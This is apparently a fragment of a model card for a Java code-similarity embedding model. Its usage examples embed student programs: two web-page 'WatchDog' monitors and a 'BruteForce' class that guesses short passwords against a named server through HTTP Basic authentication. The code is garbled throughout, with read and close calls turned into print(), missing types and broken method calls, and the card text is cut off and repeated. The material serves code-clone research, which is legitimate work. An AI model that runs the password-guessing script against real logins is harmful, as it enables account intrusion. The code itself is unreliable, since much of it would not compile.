\n         \n         \n      promptForEmailAddresses();\n\n\n\n\n      try\n      {\n            \n            \n         url = new URL(strURL);       \n      }\n\n      catch(MalformedURLException e)\n      {\n         System.out.println("ERROR:  invalid URL " + strURL);   \n         System.err.println(e);  \n \n         boolURLisOK = false;\n         url = null;\n      }    \n\n      catch(Exception e)\n      {\n         System.out.println("Exception");   \n         System.err.println(e);  \n      }\n\n\n      System.err.println();  \n\n\n      if (boolURLisOK)\n      {\n         try\n         { \n\n               \n               \n            urlConnection = (HttpURLConnection)url.openConnection();\n\n\n               \n               \n            InputStream urlStream = urlConnection.getInputStream();\n\n\n               \n               \n            int intNumRead = urlStream.print();\n            String strNewContent; \n\n            while (intNumRead != -1)\n            {\n               intNumRead = urlStream.print();\n               if (intNumRead != -1)\n               {\n                  strNewContent = (char)intNumRead + ""; \n                  strWebPageText += strNewContent;\n               }\n            }\n\n            urlStream.print(); \n\n\n\n               \n               \n            if (strWebPageText != null)\n            {\n\n               if (fileExists(strWebPageOutputFile01))\n               {\n                  writeTextToFile(strWebPageText, strWebPageOutputFile02);               \n               }\n\n               else\n               {\n                  writeTextToFile(strWebPageText, strWebPageOutputFile01);               \n               }\n\n\n               if (fileExists(strWebPageOutputFile02))\n               { \n                  System.out.println("Output file");\n                  System.out.println("-----------");\n                  System.out.println("The output file \'"   + \n                                     strWebPageOutputFile02    + \n                                     "\' has NOW BEEN created.");                                    \n                  System.out.println();\n                  System.out.println("Comparison");\n                  System.out.println("----------");\n                  System.out.println("A text comparison  NOW  performed " +\n                                      "with the output");\n                  System.out.println("file \'" + strWebPageOutputFile01 + "\'.");\n                  System.out.println();\n\n\n\n                     \n                     \n\n                     \n                     \n                  createDiffFileIfNeeded(strWebPageOutputFile01, \n                                         strWebPageOutputFile02);                  \n\n\n                     \n                     \n                  if (fileExists(strWatchDogDiffFile_01_02))\n                  { \n\n                     System.out.println("Mail  (ordinary text comparison)");\n                     System.out.println("--------------------------------");\n\n                     if (getFileSize(strWatchDogDiffFile_01_02) > 0)\n                     {\n                        sendMailWithDetectedChanges();\n                        System.out.println("Text diff mail has been sent  the \'\' email address.");\n                     }\n                     else\n                     {\n                        System.out.println("The DIFF file has zero length - text diff mail has NOT been sent.");\n                     }\n\n                  }\n\n\n\n                     \n                     \n                  createImageTextFile(strWebPageOutputFile01, strPrePend);\n                  createImageTextFile(strWebPageOutputFile02, strPrePend);\n\n                  System.out.println();\n                  System.out.println("Image text file/s");\n                  System.out.println("-----------------");\n\n\n                  if (fileExists(strImageOutputFile01))\n                  {\n                     System.out.println("\'" + strImageOutputFile01 + "\' has been created.");\n                     System.out.println("Images from \'" + strImageOutputFile01 + "\'  now  downloaded using");  \n                     System.out.println("the Unix \'wget\' command:");  \n\n                     downloadImages(strImageOutputFile01);\n                  }\n\n                  if (fileExists(strImageOutputFile02))\n                  {\n                     System.out.println();\n                     System.out.println("\'" + strImageOutputFile02 + "\' has been created.");\n                  }\n\n                  System.out.println();\n\n               }\n\n               else if (fileExists(strWebPageOutputFile01))\n               {\n                  System.out.println("Output file");\n                  System.out.println("-----------");\n                  System.out.println("The output file \'"   + \n                                     strWebPageOutputFile01    + \n                                     "\' has NOW BEEN created.");                                    \n                  System.out.println();\n                  System.out.println("Comparison");\n                  System.out.println("----------");\n                  System.out.println("A comparison CANNOT  performed " +\n                                      "with this output file");\n                  System.out.println("because it is the only output file " +\n                                     "in existence.");\n                  System.out.println();\n               }\n\n            }\n\n         }\n\n         catch(Exception e)\n         {\n\n            boolURLisOK = false;\n\n            System.err.println(e);\n         }   \n\n         finally\n         { \n            urlConnection = null;\n            url = null; \n         }\n\n      }\n\n\n      System.out.println();\n\n   }\n\n\n\n\n\n\n\n   static void tidyUpWatchDogFiles()\n   \n   {\n\n         \n         \n\n\n         \n         \n      deleteFile(strWatchDogDiffFile_01_02);\n\n\n         \n         \n      deleteFile(strImageOutputFile01);\n      deleteFile(strImageOutputFile02);\n\n\n      if (fileExists(strWebPageOutputFile01))\n      {\n\n         if (fileExists(strWebPageOutputFile02))\n         {\n               \n               \n               \n               \n               \n            deleteFile(strWebPageOutputFile01);\n            renameFile(strWebPageOutputFile02, strWebPageOutputFile01);\n         }\n\n      }\n\n      else\n      {\n            \n            \n            \n         deleteFile(strWebPageOutputFile02);\n      }\n\n   }\n\n\n\n\n\n\n\n   static void promptForEmailAddresses()\n   \n   {      \n\n\n      BufferedReader stdin = new BufferedReader(new InputStreamReader(System.in));\n\n\n\n\n         \n         \n      System.out.println();\n      System.out.println("\'From\' email address");\n      System.out.println("--------------------");\n      System.out.println("Please enter a \'From\' email address,  press Enter for default");\n      System.out.print("(default: " + strFromEmailDefault + "):  ");\n\n      try\n      {\n         strFromEmail = stdin.readLine();\n      }\n      catch (Exception e)\n      {\n         System.err.println(e);\n      }\n \n\n      System.out.println();\n\n      if ( (strFromEmail == null) || (strFromEmail.length() == 0) )\n      {\n         System.out.println(" email address was entered.");         \n         System.out.println("The \'From\' email address  default :  " + strFromEmailDefault);         \n         strFromEmail = strFromEmailDefault;\n      }\n\n      else\n      {\n         System.out.println("The entered \'From\' email address is:  " + strFromEmail);         \n      }\n\n\n\n         \n         \n      System.out.println();\n      System.out.println("\'\' email address");\n      System.out.println("------------------");\n      System.out.println("Please enter a \'\' email address,  press Enter for default");\n      System.out.print("(default: " + strToEmailDefault + "):  ");\n\n      try\n      {\n         strToEmail = stdin.readLine();\n      }\n      catch (Exception e)\n      {\n         System.err.println(e);\n      }\n \n\n      System.out.println();\n\n      if ( (strToEmail == null) || (strToEmail.length() == 0) )\n      {\n         System.out.println(" email address was entered.");         \n         System.out.println("The \'\' email address  default :  " + strToEmailDefault);         \n         strToEmail = strToEmailDefault;\n      }\n\n      else\n      {\n         System.out.println("The entered \'\' email address is:  " + strToEmail);         \n      }\n\n   }\n\n\n\n\n\n\n\n   static void writeTextToFile(String strText,\n                               String strWriteToThisFileName)\n   \n   {\n\n      try\n      {\n\n         File newFile = new File(strWriteToThisFileName);\n\n         if (newFile.exists())\n         {\n            newFile.delete();\n         }\n\n\n         BufferedWriter toFile =\n              new BufferedWriter(new FileWriter(newFile,\n                                                false));\n\n         toFile.write(strText);\n\n         toFile.print();\n         toFile = null;\n         newFile = null;\n\n      }\n\n      catch(Exception e)\n      {\n         System.err.println(e.toString());\n         System.out.println("File write problem for \'" + \n                            strWriteToThisFileName     +\n                            "\'.");               \n      }\n\n   }\n\n\n\n\n\n\n\n   static void createDiffFileIfNeeded(String strFileName1, \n                                      String strFileName2)\n   \n   {\n\n\n\n\n\n\n\n\n\n\n\n\n\n         \n         \n\n         \n         \n      try\n      {\n\n         Process p = Runtime.getRuntime().exec("./diff_files.sh");\n         p.waitFor();\t\n\n      }\n\n      catch (Exception e)\n      {\n         System.out.println("Shell script exception");\n         System.out.println("----------------------");\n         System.err.println(e);\n         System.out.println("");\n      }\n\n   }\n\n\n\n\n\n\n\n   static void createImageTextFile(String inputFile, String prePend)\n   \n   {\n\n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n\n      String str;\n      String strImage = "";\n      String strImageArray[];\n      String strInputFromFile = "";\n      String strSearchString = "<img src";\n\n      boolean boolContinue = true;\n\n      int intImageCounter  = 0;\n      int intStartSearch   = 0;\n\n      char ch;\n\n\n\n\n\n      strImageArray = new String[1000];\n\n\n\n         \n         \n      try\n      {\n\n         BufferedReader file =\n              new BufferedReader(new FileReader(inputFile));\n\n\n         while ( (str = file.readLine()) != null)\n         {\n            strInputFromFile += str;\n         }\n\n         file.print();\n         file = null;\n\n      }\n\n      catch (Exception e)\n      {\n         boolContinue = false;\n         System.err.println(e);       \n      }\t\n\n\n\n      if (boolContinue)\n      {\n\n         strInputFromFile = (strInputFromFile.toLowerCase()).trim();\n\n         intStartSearch = strInputFromFile.indexOf(strSearchString, intStartSearch);\n\n\n         while (intStartSearch != -1)\n         {\n\n            intStartSearch += 8;\n\n            while ( (strInputFromFile.charAt(intStartSearch) == \' \')  ||\n                    (strInputFromFile.charAt(intStartSearch) == \'=\')  ||\n                    (strInputFromFile.charAt(intStartSearch) == \'\\"\')   )\n            {\n               intStartSearch++;          \n            }\n\n            while ((strInputFromFile.charAt(intStartSearch) != \'\\"\'))              \n            {\n\n               ch = strInputFromFile.charAt(intStartSearch);\n\n               strImage += String.valueOf(ch);\n               intStartSearch++;\n\n            }\n\n\n            if (strImage.startsWith("/"))\n               strImage = prePend + strImage;          \n\n\n            intImageCounter++;\n            strImageArray[intImageCounter - 1] = strImage;\n\n            strImage = "";\n\n            intStartSearch = strInputFromFile.indexOf(strSearchString, intStartSearch);\n\n         }\n\n\n         if (inputFile.equals(strWebPageOutputFile01))     \n         { \n            writeTextArrayToFile(strImageArray, \n                                 strImageOutputFile01,\n                                 intImageCounter);\n         }\n         else if (inputFile.equals(strWebPageOutputFile02))     \n         { \n            writeTextArrayToFile(strImageArray, \n                                 strImageOutputFile02,\n                                 intImageCounter);\n         }\n\n\n      }\n\n   }\n\n\n\n\n\n\n\n   static void downloadImages(String ImageOutputFile)\n   \n   {\n\n      Process p;\n\n      String str;\n      String strFileName;\n\n\n\n      try      \n      {\n\n         BufferedReader file =\n                 new BufferedReader(new FileReader(ImageOutputFile));\n\n\n\n         while ( (str = file.readLine()) != null)\n         {\n\n            strFileName = getImageFileName(str);\n\n            System.out.println("    " + str);\n            System.out.println("             file name:  " + strFileName);                                                           \n\n\n            if (fileExists(strFileName))\n               deleteFile(strFileName);\n\n\n            p = Runtime.getRuntime().exec("wget " + str);\n            p.waitFor();\t\n\n         }\n\n\n         file = null;\n\n      }\n\n      catch (Exception e)\n      {\n         System.err.println("downloadingImages:  " + e);\n      }\n\n   }\n\n\n\n\n\n\n\n   static String getImageFileName(String imageFileName)\n   \n   {\n\n         \n         \n         \n\n      String strFileName;\n\n      int intFileNameLength     = imageFileName.length();      \n      int intStartPosOfFileName = intFileNameLength - 1;\n\n\n\n\n         \n         \n      while ( (intStartPosOfFileName >= 0) && \n              (imageFileName.charAt(intStartPosOfFileName) != \'/\') )\n      {\n         intStartPosOfFileName--; \n      }\n\n\n      strFileName = imageFileName.substring(intStartPosOfFileName + 1, \n                                            intFileNameLength);\n\n\n      return strFileName;\n\n   }\n\n\n\n\n\n\n\n   static void writeTextArrayToFile(String strTextArray[],\n                                    String strWriteToThisFileName,\n                                    int numberOfImages )\n   \n   {\n\n      boolean boolFirstLineWritten = false;\n\n\n\n      try\n      {\n\n         File newFile = new File(strWriteToThisFileName);\n\n         if (newFile.exists())\n         {\n            newFile.delete();\n         }\n\n\n         BufferedWriter toFile =\n              new BufferedWriter(new FileWriter(newFile,\n                                                false));\n\n         for ( int i = 0 ; i < numberOfImages ; i++ )\n         {\n\n            if (boolFirstLineWritten) \n               toFile.newLine();\n            else\n               boolFirstLineWritten = true;\n  \n\n            toFile.write(strTextArray[i]);\n\n         }\n\n\n         toFile.print();\n         toFile = null;\n         newFile = null;\n\n      }\n\n      catch(Exception e)\n      {\n         System.err.println(e.toString());\n         System.out.println("File write problem for \'" + \n                            strWriteToThisFileName     +\n                            "\'.");               \n      }\n\n   }\n\n\n\n\n\n\n\n   static boolean fileExists(String strFileName)\n   \n   {\n\n      boolean boolReturnValue;\n      File aFile = new File(strFileName);\n\n\n      if (aFile.exists())\n         boolReturnValue = true;\n      else\n         boolReturnValue = false;\n      \n\n      aFile = null;\n\n\n      return boolReturnValue;\n\n   }\n\n\n\n\n\n\n\n   static void deleteFile(String strFileName)\n   \n   {\n\n\n      if (fileExists(strFileName))\n      { \n         File aFile = new File(strFileName);\n\n         try\n         {\n            aFile.delete();\n         }\n\n         catch (Exception e)\n         {\n            System.err.println(e);\n         }\n\n\n         aFile = null;\n\n      }\n\n   }\n\n\n\n\n\n\n\n   static void renameFile(String strFromFileName, String strToFileName)\n   \n   {\n\n\n      File from = new File(strFromFileName);\n      File to   = new File(strToFileName);\n\n\n      boolean success = from.renameTo();\n\n\n      from = null;\n      to = null;\n\n   }\n\n\n\n\n\n\n\n   static  getFileSize(String strFileName)\n   \n   {\n\n       lngReturnValue;\n\n\n\n      File file = new File(strFileName);\n      \n      lngReturnValue = file.length();\n\n      file = null;\n\n\n      return lngReturnValue;\n\n   }\n\n\n\n\n\n\n\n   static void sendMailWithDetectedChanges()\n   \n   {\n\n      String str;\n      String strInputFromFile = null;\n\n\n\n      try \n      { \n\n\n         BufferedReader fromFile =\n              new BufferedReader(new FileReader(strWatchDogDiffFile_01_02));\n\n\n         while ( (str = fromFile.readLine()) != null)\n         {\n            strInputFromFile += str;\n         }\n\n         fromFile.print();\n         fromFile = null;\n\n\n            \n            \n            \n         SmtpClient smtp = new SmtpClient(); \n\n            \n            \n         smtp.from(strFromEmail); \n\n            \n            \n         smtp.to(strToEmail); \n\n            \n            \n         PrintStream msg = smtp.startMessage(); \n\n            \n            \n         msg.println(": " + strToEmail); \n\n            \n            \n         msg.println("From: " + strFromEmail); \n         msg.println("Subject: Change in website content\\n"); \n         msg.println(strInputFromFile); \n\n            \n            \n            \n         smtp.closeServer(); \n\n      } \n\n      catch (IOException e) \n      {\n         System.err.println(e);     \n      } \n\n   }\n\n}',
    'import java.io.*;\nimport java.net.*;\nimport java.text.*;\nimport java.util.*;\n\nclass BruteForce {\n\n    String password="";\n\n    int num =401;\n\n\n    public static void main (String[] args) {\n\n      String str="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";\n\n      BruteForce URLcon;\n\n      int length = 0;\n\n      String passwd="";\n\n       int t0,t1;\n\n      \n      if (args.length == 0) {\n      \t\n      \tSystem.err.println (\n      \t\t\n      \t\t"Usage : java BruteForce <username>");\n      \treturn;\n      \t\n      \t}\n      String username = args[0];\n      \n\n      t0=System.currentTimeMillis();\n\n      System.out.println ("  " + new Date());\n      \n      System.out.println ("Using BruteForce method  attack "+username+"\'s password.Please waiting.......");\n\n       for (int i=0;i<str.length();i++){\n\n             passwd=str.substring(i,i+1);\n\n             URLcon = new BruteForce (passwd,username);\n\n             if ((URLcon.num)!=401) {\n\n             \tt1=System.currentTimeMillis();\n\n                System.out.println("The password: "+ passwd);\n\n             \tdouble dt =t1-t0;\n\n\n\n             \tSystem.out.println("It took "+ DecimalFormat.getInstance().format(dt/1000)+ " seconds.");\n\n                System.out.println ("Finish  " + new Date());\n                \n             \treturn;\n\n             }\n\n             for (int j=0;j<str.length();j++){\n\n                passwd =str.substring(i,i+1)+str.substring(j,j+1);\n\n                URLcon = new BruteForce (passwd,username);\n\n                if ((URLcon.num)!=401) {\n\n             \t     t1=System.currentTimeMillis();\n\n                     System.out.println("The password: "+ passwd);\n\n\n                     double dt =t1-t0;\n\n\n\n                     System.out.println("It took "+ DecimalFormat.getInstance().format(dt/1000)+ " seconds.");\n                     System.out.println ("Finish  " + new Date());\n             \t return;\n\n                 }\n                for (int m=0;m<str.length();m++){\n\n                  passwd = str.substring(i,i+1)+str.substring(j,j+1)+str.substring(m,m+1);\n\n                  URLcon = new BruteForce (passwd,username);\n\n                  if ((URLcon.num)!=401) {\n\n                 \tt1=System.currentTimeMillis();\n\n                    System.out.println("The password: "+ passwd);\n\n\n             \t    double dt =t1-t0;\n\n\n\n                 \tSystem.out.println("It took "+DecimalFormat.getInstance().format(dt/1000)+ " seconds.");\n                    \n                    System.out.println ("Finish  " + new Date());\n                    \n             \t    return;\n\n                  }\n\n\n             }\n\n}\n}\n        System.out.println(" not find the password");\n\n}\n\n   public  BruteForce  (String password, String username){\n\n  \t  String urlString = "http://sec-crack.cs.rmit.edu./SEC/2/" ;\n\n      \n\n      try {\n\n        String userPassword = username+":"+password ;\n\n        String encoding = new userPassword.misc.BASE64Encoder().encode (userPassword.getBytes());\n\n        URL url = new URL (urlString);\n\n        HttpURLConnection uc = (HttpURLConnection) url.openConnection();\n\n        uc.setRequestProperty ("Authorization", " " + encoding);\n\n        url = uc.getResponseCode();\n\n\n       }\n        catch(MalformedURLException e){\n       \t  System.out.println(e);\n       }catch(IOException e){\n          System.out.println(e);\n       }\n\n\n   }\n}',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-CodeBERTa-Softmax-PairClass-VAST")
# Run inference
sentences = [
    'import java.io.*;\nimport java.util.*;\nimport java.text.*;\nimport java.net.*;\nimport java.security.*;\n\n\n\npublic class WatchDog extends Thread\n{\n\n\t\n\tpublic static void main (String args[])\n\t{\n\t    WatchDog watcher = new WatchDog();\n\t    watcher.run();\n\t}\n\n\t\n    public void run()\n    {\n   \t\tDateFormat longTimestamp = DateFormat.getDateTimeInstance(DateFormat.FULL, DateFormat.FULL);\n          twentyFourHours = 24 * 60 * 60 * 1000;\n        \n\n   \t\twriteProgramLog("Program started at " + longTimestamp.format(new Date()));\n        while(true)\n        {\n    \t\twriteProgramLog("Running run at " + longTimestamp.format(new Date()));\n            compare();\n            try\n            {\n                sleep(twentyFourHours);\n            }\n            catch(InterruptedException e)\n            {\n                writeProgramLog("Program terminated at " + longTimestamp.format(new Date()));\n                System.exit(0);\n            }\n        }\n    } \n\n\t\n    private void compare()\n    {\n        \n        \n        \n        String watchDogFile = "watchDogHash_rcroft.";\n        String watchDogPageFile = "watchDogPage_rcroft.html";\n    \n        File watchDogLogFile = new File(watchDogFile);\n        \n        if(!watchDogLogFile.exists())\n        {\n            \n            \n            \n            \n            \n            WebPage targetPage = getPage();\n            if(targetPage.getSuccess())\n            {\n                byte[] newHash = calcHash(targetPage.getPageContents());\n                writeHash(newHash, watchDogFile);\n                writePage(targetPage.getPageContents(), watchDogPageFile);\n            }\n        }\n        else\n        {\n            try\n            {\n                \n                \n                \n                \n                \n                \n                WebPage targetPage = getPage();\n                if(targetPage.getSuccess())\n                {\n                    \n                    byte[] oldHash = new byte[16]; \n                    byte[] newHash = calcHash(targetPage.getPageContents());\n\n                    \n                    DataInputStream inWatchDogFile = new DataInputStream(new FileInputStream(watchDogFile));\n                    inWatchDogFile.readFully(oldHash);\n                    inWatchDogFile.print();\n                    \n                    \n                    \n                    \n                    if(!java.util.Arrays.equals(oldHash, newHash))\n                    {\n                        String differences = enumerateDifferences(watchDogPageFile, targetPage.getPageContents());\n                        mail(differences);\n                        writeHash(newHash, watchDogFile);\n                        writePage(targetPage.getPageContents(), watchDogPageFile);\n                    }\n                }\n            }\n            catch(IOException e)\n            {\n                writeProgramLog("Exception: " + e);\n            }\n        }\n    } \n    \n\n\t\n\tprivate String enumerateDifferences(String oldPageFileName, String newPageData)\n\t{\n\t    String differences = "";\n\t    File newFile = null;\n\n\t    try\n\t    {\n\t      \n\t      \n\t      newFile = File.createTempFile("new", "tmp");\n          String tempFilePath = newFile.getAbsolutePath();\n          DataOutputStream outFile = new DataOutputStream(new FileOutputStream(tempFilePath));\n          outFile.writeBytes(newPageData);\n          outFile.print();\n          \n          \n          String commandLine = "diff " + oldPageFileName + " " + tempFilePath;\n          Process p = Runtime.getRuntime().exec(commandLine);\n          BufferedReader diffs = new BufferedReader(new InputStreamReader(p.getInputStream()));\n          String line;\n          while((line = diffs.readLine()) != null)\n            differences += line + "\\n";\n          diffs.print();\n          newFile.delete();\n\t    }\n\t    catch(IOException e)\n\t    {\n\t        writeProgramLog("Exception: " + e);\n\t    }\n\t    return differences;\n\t}  \n\n\t\n    private void mail(String mailMessage)\n    {\n        \n        Vector emailAddresses = new Vector();\n        String watchDogEmailFile = "watchDogEmail_rcroft.txt";\n\n        \n        File emailFile = new File(watchDogEmailFile);\n        if(emailFile.exists())\n        {\n            try\n            {\n                \n                BufferedReader inWatchDogEmailFile = new BufferedReader(new InputStreamReader(new FileInputStream(watchDogEmailFile)));\n                String line;\n                while ((line = inWatchDogEmailFile.readLine()) != null)\n                {\n                    line = line.trim();\n                    if((line != "") && (line != "\\n"))\n                        emailAddresses.add(line);\n                }\n                inWatchDogEmailFile.print();\n    \t    }\n    \t    catch(FileNotFoundException e)\n    \t    {\n    \t        writeProgramLog("Exception: " + e);\n    \t    }\n    \t    catch(IOException e)\n    \t    {\n    \t        writeProgramLog("Exception: " + e);\n    \t    }\n        }\n        else\n        {\n            emailAddresses.add("@yallara.cs.rmit.edu.");\n            emailAddresses.add("[email protected].");\n        }\n                \n        if(emailAddresses.size() > 0) \n        {\n            try\n            {\n                String fromAddress = "From: " + "WatchDog Program ()" + " <" + System.getProperty("user.name") + "@" + InetAddress.getLocalHost().getHostName() + ">";\n        \t\tDateFormat longTimestamp = DateFormat.getDateTimeInstance(DateFormat.FULL, DateFormat.FULL);\n                String subject = "Subject: [SEC project] Notification of target file changes (" + longTimestamp.format(new Date()) +")";\n                for(int i = 0; i < emailAddresses.size(); i++)\n                {\n                    String toAddress = (String) emailAddresses.get(i);\n                    try\n                    {\n                        URL mailURL = new URL("mailto: " + toAddress);\n                        URLConnection mailConnection = mailURL.openConnection();\n                        mailConnection.setDoInput(false);\n                        mailConnection.setDoOutput(true);\n                        mailConnection.connect();\n                        PrintWriter mailWriter = new PrintWriter(new OutputStreamWriter(mailConnection.getOutputStream()));\n                        mailWriter.print(": " + toAddress + "\\n");\n                        mailWriter.print(fromAddress + "\\n");\n                        mailWriter.print(subject + "\\n");\n                        mailWriter.print(mailMessage);\n                        mailWriter.print();\n                        writeProgramLog("\\tNotification mailed in this run.");\n                    }\n                    catch(MalformedURLException e)\n                    {\n                        writeProgramLog("Exception: " + e);\n                    }\n                    catch(IOException e)\n                    {\n                        writeProgramLog("Exception: " + e);\n                    }\n                }\n            }\n            catch(UnknownHostException e)\n            {\n                writeProgramLog("Exception: " + e);\n            }  \n        }  \n    } \n    \n\n\t\n    private void writeHash(byte [] newHash, String fileName)\n    {\n        try\n        {\n            DataOutputStream outFile = new DataOutputStream(new FileOutputStream(fileName));\n            outFile.write(newHash, 0, newHash.length);\n            outFile.print();\n        }\n        catch(IOException e)\n        {\n            writeProgramLog("Exception: " + e);\n        }\n    }  \n    \n\t\n    private void writePage(String newPage, String fileName)\n    {\n        try\n        {\n            DataOutputStream outFile = new DataOutputStream(new FileOutputStream(fileName));\n            outFile.writeBytes(newPage);\n            outFile.print();\n        }\n        catch(IOException e)\n        {\n            writeProgramLog("Exception: " + e);\n        }\n    }  \n    \n\n\t\n    private void writeProgramLog(String comment)\n    {\n        String fileName = "watchDogLog_rcroft.txt";\n        try\n        {\n            DataOutputStream outFile = new DataOutputStream(new FileOutputStream(fileName, true));\n            outFile.writeBytes(comment + "\\n");\n            outFile.flush();\n            outFile.print();\n        }\n        catch(IOException e)\n        {\n            \n            \n            System.out.println("Exception: " + e);\n        }\n    }  \n\n\t\n    private WebPage getPage()\n    {\n        WebPage tempWebPage = new WebPage();\n        try\n        {\n            \n            \n            \n            String urlName = "http://www.cs.rmit.edu./students/";\n   \t    \tURL targetURL= new URL(urlName);\n           \tHttpURLConnection connection = (HttpURLConnection) targetURL.openConnection();\n        \n            \n            connection.connect();\n            connection.getResponseCode();\n            if(connection.getResponseCode() == 200)\n\t\t    {\n\t\t        String fileContents = "";\n\t\t        BufferedReader in = new BufferedReader(new InputStreamReader(connection.getInputStream()));\n                String line;\n    \t\t    while((line = in.readLine()) != null)\n\t\t    \t    fileContents = fileContents + line + "\\n";\n\t\t        in.print();\n\t\t        tempWebPage.setPageContents(fileContents);\n    \t\t    tempWebPage.setSuccess(true);\n    \t\t    connection.disconnect();\n\t        }\n\t        else\n\t\t    {\n    \t\t    writeProgramLog("Failed  connect " + connection.getResponseCode());\n\t\t    } \n        }\n        catch(IOException e)\n        {\n    \t    writeProgramLog("Exception " + e);\n        } \n        return tempWebPage;\n    } \n    \n\t\n    private  byte[] calcHash(String pageContents)\n    {\n        byte[] outHash = null;\n        try\n        {\n            MessageDigest msg = MessageDigest.getInstance("");\n            msg.reset();\n            msg.update(pageContents.getBytes());\n            outHash = msg.digest();\n            msg.reset();\n        }\n        catch(NoSuchAlgorithmException e)\n        {\n            writeProgramLog("Exception: " + e);\n        }\n        return outHash;\n    } \n        \n} \n',
    '\n\n\n\n \nimport java.io.*;\nimport java.net.*;\nimport java.Runtime;\nimport java.util.*;\nimport java.net.smtp.SmtpClient; \n\n\n\npublic class WatchDog\n\n{\n\n   static String strImageOutputFile01      = "WebPageImages01.txt";\n   static String strImageOutputFile02      = "WebPageImages02.txt";\n\n   static String strWebPageOutputFile01    = "WebPageOutput01.txt";\n   static String strWebPageOutputFile02    = "WebPageOutput02.txt";\n\n   static String strWatchDogDiffFile_01_02 = "WatchDogDiff_01_02.txt";\n\n   static String strFromEmailDefault = "@.rmit.edu.";\n   static String strToEmailDefault   = "@.rmit.edu.";\n\n   static String strFromEmail = null;\n   static String strToEmail   = null;\n\n\n\n\n   public static void main (String args[])\n   \n   {\n\n         \n         \n         \n         \n         \n\n      URL url = null;\n      HttpURLConnection urlConnection;\n      int intContentLength;\n      String strWebPageText = "";\n\n      String strURL     = "http://www.cs.rmit.edu./students/";\n      String strPrePend = "http://www.cs.rmit.edu.";\n\n      boolean boolURLisOK = true;\n\n\n\n\n\n      System.out.println();\n\n\n         \n         \n      tidyUpWatchDogFiles();\n\n\n         \n         \n         \n         \n      promptForEmailAddresses();\n\n\n\n\n      try\n      {\n            \n            \n         url = new URL(strURL);       \n      }\n\n      catch(MalformedURLException e)\n      {\n         System.out.println("ERROR:  invalid URL " + strURL);   \n         System.err.println(e);  \n \n         boolURLisOK = false;\n         url = null;\n      }    \n\n      catch(Exception e)\n      {\n         System.out.println("Exception");   \n         System.err.println(e);  \n      }\n\n\n      System.err.println();  \n\n\n      if (boolURLisOK)\n      {\n         try\n         { \n\n               \n               \n            urlConnection = (HttpURLConnection)url.openConnection();\n\n\n               \n               \n            InputStream urlStream = urlConnection.getInputStream();\n\n\n               \n               \n            int intNumRead = urlStream.print();\n            String strNewContent; \n\n            while (intNumRead != -1)\n            {\n               intNumRead = urlStream.print();\n               if (intNumRead != -1)\n               {\n                  strNewContent = (char)intNumRead + ""; \n                  strWebPageText += strNewContent;\n               }\n            }\n\n            urlStream.print(); \n\n\n\n               \n               \n            if (strWebPageText != null)\n            {\n\n               if (fileExists(strWebPageOutputFile01))\n               {\n                  writeTextToFile(strWebPageText, strWebPageOutputFile02);               \n               }\n\n               else\n               {\n                  writeTextToFile(strWebPageText, strWebPageOutputFile01);               \n               }\n\n\n               if (fileExists(strWebPageOutputFile02))\n               { \n                  System.out.println("Output file");\n                  System.out.println("-----------");\n                  System.out.println("The output file \'"   + \n                                     strWebPageOutputFile02    + \n                                     "\' has NOW BEEN created.");                                    \n                  System.out.println();\n                  System.out.println("Comparison");\n                  System.out.println("----------");\n                  System.out.println("A text comparison  NOW  performed " +\n                                      "with the output");\n                  System.out.println("file \'" + strWebPageOutputFile01 + "\'.");\n                  System.out.println();\n\n\n\n                     \n                     \n\n                     \n                     \n                  createDiffFileIfNeeded(strWebPageOutputFile01, \n                                         strWebPageOutputFile02);                  \n\n\n                     \n                     \n                  if (fileExists(strWatchDogDiffFile_01_02))\n                  { \n\n                     System.out.println("Mail  (ordinary text comparison)");\n                     System.out.println("--------------------------------");\n\n                     if (getFileSize(strWatchDogDiffFile_01_02) > 0)\n                     {\n                        sendMailWithDetectedChanges();\n                        System.out.println("Text diff mail has been sent  the \'\' email address.");\n                     }\n                     else\n                     {\n                        System.out.println("The DIFF file has zero length - text diff mail has NOT been sent.");\n                     }\n\n                  }\n\n\n\n                     \n                     \n                  createImageTextFile(strWebPageOutputFile01, strPrePend);\n                  createImageTextFile(strWebPageOutputFile02, strPrePend);\n\n                  System.out.println();\n                  System.out.println("Image text file/s");\n                  System.out.println("-----------------");\n\n\n                  if (fileExists(strImageOutputFile01))\n                  {\n                     System.out.println("\'" + strImageOutputFile01 + "\' has been created.");\n                     System.out.println("Images from \'" + strImageOutputFile01 + "\'  now  downloaded using");  \n                     System.out.println("the Unix \'wget\' command:");  \n\n                     downloadImages(strImageOutputFile01);\n                  }\n\n                  if (fileExists(strImageOutputFile02))\n                  {\n                     System.out.println();\n                     System.out.println("\'" + strImageOutputFile02 + "\' has been created.");\n                  }\n\n                  System.out.println();\n\n               }\n\n               else if (fileExists(strWebPageOutputFile01))\n               {\n                  System.out.println("Output file");\n                  System.out.println("-----------");\n                  System.out.println("The output file \'"   + \n                                     strWebPageOutputFile01    + \n                                     "\' has NOW BEEN created.");                                    \n                  System.out.println();\n                  System.out.println("Comparison");\n                  System.out.println("----------");\n                  System.out.println("A comparison CANNOT  performed " +\n                                      "with this output file");\n                  System.out.println("because it is the only output file " +\n                                     "in existence.");\n                  System.out.println();\n               }\n\n            }\n\n         }\n\n         catch(Exception e)\n         {\n\n            boolURLisOK = false;\n\n            System.err.println(e);\n         }   \n\n         finally\n         { \n            urlConnection = null;\n            url = null; \n         }\n\n      }\n\n\n      System.out.println();\n\n   }\n\n\n\n\n\n\n\n   static void tidyUpWatchDogFiles()\n   \n   {\n\n         \n         \n\n\n         \n         \n      deleteFile(strWatchDogDiffFile_01_02);\n\n\n         \n         \n      deleteFile(strImageOutputFile01);\n      deleteFile(strImageOutputFile02);\n\n\n      if (fileExists(strWebPageOutputFile01))\n      {\n\n         if (fileExists(strWebPageOutputFile02))\n         {\n               \n               \n               \n               \n               \n            deleteFile(strWebPageOutputFile01);\n            renameFile(strWebPageOutputFile02, strWebPageOutputFile01);\n         }\n\n      }\n\n      else\n      {\n            \n            \n            \n         deleteFile(strWebPageOutputFile02);\n      }\n\n   }\n\n\n\n\n\n\n\n   static void promptForEmailAddresses()\n   \n   {      \n\n\n      BufferedReader stdin = new 